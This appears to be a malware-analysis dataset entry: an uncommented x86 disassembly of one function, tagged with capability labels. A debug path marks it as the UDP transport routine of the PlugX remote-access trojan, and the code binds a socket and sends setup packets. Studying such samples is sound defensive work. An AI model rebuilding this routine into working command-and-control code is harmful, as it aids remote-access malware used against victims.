Function at 0x10021d20
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x278
cmp dword [0x1002d3d8], 0
push esi
mov esi, ecx
mov dword [esp + 0x10], 0
push edi
mov dword [esp + 0x24], esi
jne 0x10021d71
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x10021d67
mov dword [eax + 0x1990], 0
mov dword [0x1002d3d8], eax
jmp 0x10021d71
mov dword [0x1002d3d8], 0
lea eax, [esp + 0x14]
push eax
push dword [ebp + 8]
call fcn.1001dd70
test eax, eax
jne 0x10022911
mov eax, 2
mov word [esp + 0x2c], ax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x30], eax
mov eax, dword [0x10030f80]
test eax, eax
jne 0x10021dcb
mov eax, dword [0x10030f84]
test eax, eax
jne 0x10021dba
push str.ws2_32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10030f84], eax
push str.htons
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10030f80], eax
push dword [ebp + 0xc]
call eax
cmp dword [0x10030f68], 0
mov word [esp + 0x2e], ax
mov eax, dword [esi + 0x50]
mov dword [esp + 0x1c], eax
jg 0x10021df4
mov edi, 0x276d
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov edi, dword [0x10031110]
test edi, edi
jne 0x10021e6f
push 0x2c
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x10021e67
lea ecx, [edi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [edi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [edi], eax
xor ecx, ecx
nop dword [eax + eax]
mov eax, dword [edi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x10021e50
jmp 0x10021e69
xor edi, edi
mov dword [0x10031110], edi
lea esi, [edi + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esp + 0x1c]
push esi
cmp eax, dword [edi + 0xc]
jb 0x10021e98
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, 6
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov edx, eax
mov eax, dword [edi]
add edx, edx
cmp dword [eax + edx*8 + 8], 0
je 0x10021e83
inc dword [eax + edx*8]
mov eax, dword [edi]
mov ecx, dword [eax + edx*8 + 8]
mov edi, dword [eax + edx*8 + 0xc]
mov dword [esp + 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
je 0x10021eca
mov edi, 6
jmp 0x10022509
cmp word [esp + 0x2c], 2
mov dword [esp + 0x28], 0
je 0x10021ee4
mov edi, 0x57
jmp 0x10022509
mov edi, dword [0x1003111c]
test edi, edi
jne 0x10021f1e
push 0x24
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x10021f16
push edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [edi + 0x18]
mov dword [ecx + 8], 0
mov dword [ecx], ecx
mov dword [ecx + 4], ecx
jmp 0x10021f18
xor edi, edi
mov dword [0x1003111c], edi
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [edi + 0x1c]
lea eax, [edi + 0x18]
mov dword [esp + 0x14], esi
cmp esi, eax
je 0x10021f54
test esi, esi
je 0x10021f54
mov ecx, dword [esi]
mov eax, dword [esi + 4]
push edi
mov dword [ecx + 4], eax
mov ecx, dword [esi + 4]
mov eax, dword [esi]
mov dword [ecx], eax
dec dword [edi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call edi
jmp 0x10021f7e
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call edi
push 0xc
call fcn.1002422e
add esp, 4
mov esi, eax
mov dword [esp + 0x14], esi
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
test eax, eax
je 0x1002204c
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
test eax, eax
jne 0x1002204c
mov eax, dword [0x1003111c]
mov dword [esp + 0x14], eax
test eax, eax
jne 0x10021ff2
push 0x24
call fcn.1002422e
add esp, 4
mov dword [esp + 0x14], eax
test eax, eax
je 0x10021fe7
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 0x18]
mov dword [ecx + 8], 0
mov dword [ecx], ecx
mov dword [ecx + 4], ecx
jmp 0x10021fed
xor eax, eax
mov dword [esp + 0x14], eax
mov dword [0x1003111c], eax
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [esp + 0x14]
push edx
cmp dword [edx + 0x20], 0x20
jge 0x10022029
lea ecx, [edx + 0x18]
mov dword [esi], ecx
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov eax, dword [ecx + 4]
mov dword [eax], esi
mov dword [ecx + 4], esi
inc dword [edx + 0x20]
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x10022509
call edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xc
push esi
call fcn.10027bcc
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x10022509
xor edi, edi
mov dword [esp + 0x3c], 0xffffffff
mov dword [esp + 0x20], edi
mov edi, dword [esp + 0x18]
mov dword [esp + 0x40], 0
lea esi, [edi + 0x40e8]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 0x4060], 1
jne 0x1002213c
mov ax, word [esp + 0x2c]
xorps xmm0, xmm0
movaps xmmword [esp + 0x50], xmm0
mov word [esp + 0x50], ax
mov dword [esp + 0x10], 0x10
cmp ax, 2
je 0x100220ad
mov dword [esp + 0x20], 0x57
jmp 0x100223f9
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 0x4060], 1
je 0x100220d3
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
call eax
mov edi, 0x139f
mov dword [esp + 0x20], edi
jmp 0x100223f9
push dword [esp + 0x10]
lea eax, [esp + 0x54]
push eax
push dword [edi + 0x4054]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x10022109
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
mov dword [esp + 0x24], edi
call eax
test edi, edi
je 0x10022138
jmp 0x100223f9
lea eax, [esp + 0x10]
push eax
lea eax, [edi + 0x4070]
push eax
push dword [edi + 0x4054]
call dword [sym.imp.WS2_32.dll_getsockname]
push esi
mov dword [edi + 0x4060], 2
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edi, edi
mov dword [esp + 0x20], edi
mov edi, dword [esp + 0x18]
cmp dword [edi + 0x4060], 2
je 0x10022156
push esi
mov edi, 0x139f
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1002248a
push 0x18
lea ecx, [edi + 0x1131c]
call fcn.100277ec
mov ecx, eax
mov dword [esp + 0x28], ecx
test ecx, ecx
jne 0x1002217e
push esi
mov edi, 0x718
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1002248a
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x2c]
mov dword [ecx + 0xc], eax
lea eax, [esp + 0x3c]
mov dword [ecx + 0x10], eax
lea eax, [edi + 0x40a0]
mov dword [ecx + 8], 0
mov dword [ecx + 0x14], 0
lea ecx, [edi + 0x4080]
cmp word [eax], 0
lea edi, [esp + 0x2c]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x18]
cmovne edi, eax
push 0x10
lea ecx, [ecx + 0x4090]
call fcn.1002427e
mov ecx, dword [esp + 0x14]
add esp, 4
mov edx, edi
push 0x10
call fcn.1002427e
add esp, 4
call fcn.10024484
mov edi, dword [esp + 0x18]
mov dword [edi + 0x40dc], eax
call fcn.10024484
mov dword [edi + 0x40dc], eax
call fcn.10024484
mov ecx, edi
mov dword [edi + 0x40dc], eax
call fcn.10027626
mov eax, 0x30
lea edx, [edi + 0x4064]
mov word [esp + 0x60], ax
lea ecx, [esp + 0x6c]
mov ax, word [edi + 0x405c]
mov word [esp + 0x62], ax
xor eax, eax
push 0xc
mov word [esp + 0x68], ax
call fcn.1002427e
mov eax, dword [edi + 0x4058]
add esp, 4
mov ecx, 0x10
test eax, eax
je 0x10022252
cmp dword [eax + 0x4054], 0xffffffff
jmp 0x10022259
cmp dword [edi + 0x4054], 0xffffffff
je 0x100222a9
mov ax, word [edi + 0x4092]
mov word [esp + 0x66], ax
mov eax, dword [edi + 0x4094]
mov edi, 0x1c
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x10]
cmp word [eax], 2
cmove edi, ecx
xor ecx, ecx
call fcn.100243a5
mov ecx, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x1c]
mov eax, dword [eax + 0x80]
push ecx
push 0x18
lea ecx, [esp + 0x6c]
push ecx
movzx ecx, word [edi + 0x405c]
push ecx
call eax
mov eax, 0x30
lea edx, [edi + 0x4064]
mov word [esp + 0x60], ax
lea ecx, [esp + 0x6c]
mov ax, word [edi + 0x405c]
mov word [esp + 0x62], ax
xor eax, eax
push 0xc
mov word [esp + 0x68], ax
call fcn.1002427e
mov eax, dword [edi + 0x4058]
add esp, 4
test eax, eax
je 0x100222ed
cmp dword [eax + 0x4054], 0xffffffff
jmp 0x100222f4
cmp dword [edi + 0x4054], 0xffffffff
je 0x10022349
mov ax, word [edi + 0x4092]
mov word [esp + 0x66], ax
mov eax, dword [edi + 0x4094]
mov edi, 0x1c
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x10]
cmp word [eax], 2
mov eax, 0x10
cmove edi, eax
xor ecx, ecx
call fcn.100243a5
mov ecx, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x1c]
mov eax, dword [eax + 0x80]
push ecx
push 0x18
lea ecx, [esp + 0x6c]
push ecx
movzx ecx, word [edi + 0x405c]
push ecx
call eax
mov eax, 0x30
lea edx, [edi + 0x4064]
mov word [esp + 0x60], ax
lea ecx, [esp + 0x6c]
mov ax, word [edi + 0x405c]
mov word [esp + 0x62], ax
xor eax, eax
push 0xc
mov word [esp + 0x68], ax
call fcn.1002427e
mov eax, dword [edi + 0x4058]
add esp, 4
test eax, eax
je 0x1002238d
cmp dword [eax + 0x4054], 0xffffffff
jmp 0x10022394
cmp dword [edi + 0x4054], 0xffffffff
je 0x100223ef
mov ax, word [edi + 0x4092]
mov ecx, 0x10
cmp word [edi + 0x4080], 2
mov word [esp + 0x66], ax
mov eax, dword [edi + 0x4094]
mov dword [esp + 0x68], eax
mov eax, 0x1c
cmove eax, ecx
xor ecx, ecx
mov dword [esp + 0x10], eax
call fcn.100243a5
mov ecx, dword [esp + 0x10]
push ecx
lea ecx, [edi + 0x4080]
mov eax, dword [eax + 0x80]
push ecx
push 0x18
lea ecx, [esp + 0x6c]
push ecx
movzx ecx, word [edi + 0x405c]
push ecx
call eax
mov dword [edi + 0x4060], 4
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x20]
test edi, edi
jne 0x1002248a
mov eax, dword [esp + 0x18]
push dword [eax + 0x40d8]
mov eax, dword [esp + 0x18]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10022435
cmp eax, 0x102
jne 0x10022444
mov edi, 0x274c
jmp 0x1002248a
cmp dword [esp + 0x3c], 0xffffffff
je 0x10022485
mov edi, dword [esp + 0x44]
test edi, edi
jne 0x1002248a
mov esi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x1003111c]
mov dword [esp + 0x10], eax
test eax, eax
jne 0x100224ba
push 0x24
call fcn.1002422e
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
je 0x100224af
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [esp + 0x10]
lea ecx, [eax + 0x18]
mov dword [ecx + 8], 0
mov dword [ecx], ecx
mov dword [ecx + 4], ecx
jmp 0x100224b5
mov edi, 0x3e4
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [esp + 0x18]
push dword [esp + 0x28]
add ecx, 0x1131c
call fcn.100278be
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call esi
jmp 0x1002244a
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [0x1003111c], eax
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esp + 0x10]
cmp dword [eax + 0x20], 0x20
jge 0x100224ee
mov edx, dword [esp + 0x14]
lea ecx, [eax + 0x18]
mov dword [edx], ecx
mov eax, dword [ecx + 4]
mov dword [edx + 4], eax
mov eax, dword [ecx + 4]
mov dword [eax], edx
mov eax, dword [esp + 0x10]
mov dword [ecx + 4], edx
push eax
inc dword [eax + 0x20]
call esi
jmp 0x10022509
push eax
call esi
mov esi, dword [esp + 0x14]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xc
push esi
call fcn.10027bcc
add esp, 8
mov esi, dword [0x10031110]
test esi, esi
jne 0x1002257f
push 0x2c
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10022577
lea eax, [esi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [esi], eax
xor ecx, ecx
nop dword [eax]
mov eax, dword [esi]
mov dword [ecx + eax + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x10022560
jmp 0x10022579
xor esi, esi
mov dword [0x10031110], esi
mov eax, dword [esp + 0x1c]
push 0
push ecx
push eax
mov ecx, esi
call fcn.10024b68
test edi, edi
je 0x1002259c
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
cmp dword [0x10030f68], 0
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0x50]
mov dword [esp + 0x1c], eax
jle 0x1002274b
mov edi, dword [0x10031110]
test edi, edi
jne 0x1002262f
push 0x2c
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x10022627
lea ecx, [edi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [edi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [edi], eax
xor ecx, ecx
nop dword [eax + eax]
mov eax, dword [edi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x10022610
jmp 0x10022629
xor edi, edi
mov dword [0x10031110], edi
lea esi, [edi + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esp + 0x1c]
cmp eax, dword [edi + 0xc]
jae 0x10022744
mov edx, eax
mov eax, dword [edi]
add edx, edx
cmp dword [eax + edx*8 + 8], 0
je 0x10022744
inc dword [eax + edx*8]
mov eax, dword [edi]
push esi
mov ecx, dword [eax + edx*8 + 8]
mov edi, dword [eax + edx*8 + 0xc]
mov dword [esp + 0x2c], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
je 0x1002267a
mov edi, 6
jmp 0x100226b2
mov edi, dword [esp + 0x28]
lea esi, [edi + 0x40e8]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov dword [edi + 0x40cc], 1
mov dword [edi + 0x40d0], 0xea60
mov dword [edi + 0x40d4], 0x1388
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edi, edi
mov esi, dword [0x10031110]
test esi, esi
jne 0x1002272f
push 0x2c
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10022727
lea eax, [esi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [esi], eax
xor ecx, ecx
nop word [eax + eax]
mov eax, dword [esi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x10022710
jmp 0x10022729
xor esi, esi
mov dword [0x10031110], esi
mov eax, dword [esp + 0x1c]
push 0
push ecx
push eax
mov ecx, esi
call fcn.10024b68
test edi, edi
je 0x1002275f
jmp 0x1002274b
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
mov edx, 0x58
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoUdp.cpp
call fcn.10024152
add esp, 4
cmp dword [0x10030f68], 0
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0x50]
mov dword [esp + 0x24], eax
jle 0x100228fb
mov edi, dword [0x10031110]
test edi, edi
jne 0x100227ef
push 0x2c
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x100227e7
lea ecx, [edi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [edi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [edi], eax
xor ecx, ecx
nop dword [eax + eax]
mov eax, dword [edi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x100227d0
jmp 0x100227e9
xor edi, edi
mov dword [0x10031110], edi
lea esi, [edi + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esp + 0x24]
cmp eax, dword [edi + 0xc]
jae 0x100228f4
mov ecx, eax
mov eax, dword [edi]
shl ecx, 4
cmp dword [ecx + eax + 8], 0
je 0x100228f4
inc dword [ecx + eax]
mov eax, dword [edi]
push esi
mov edx, dword [ecx + eax + 8]
mov edi, dword [ecx + eax + 0xc]
mov dword [esp + 0x20], edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
je 0x1002283b
mov edi, 6
jmp 0x10022869
mov edi, dword [esp + 0x1c]
lea esi, [edi + 0x40e8]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov dword [edi + 0x40c0], 1
mov dword [edi + 0x40c4], 0x2710
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edi, edi
mov esi, dword [0x10031110]
test esi, esi
jne 0x100228df
push 0x2c
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x100228d7
lea eax, [esi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [esi], eax
xor ecx, ecx
nop dword [eax]
mov eax, dword [esi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x100228c0
jmp 0x100228d9
xor esi, esi
mov dword [0x10031110], esi
mov eax, dword [esp + 0x24]
push 0
push ecx
push eax
mov ecx, esi
call fcn.10024b68
test edi, edi
je 0x1002290f
jmp 0x100228fb
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
mov edx, 0x62
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoUdp.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8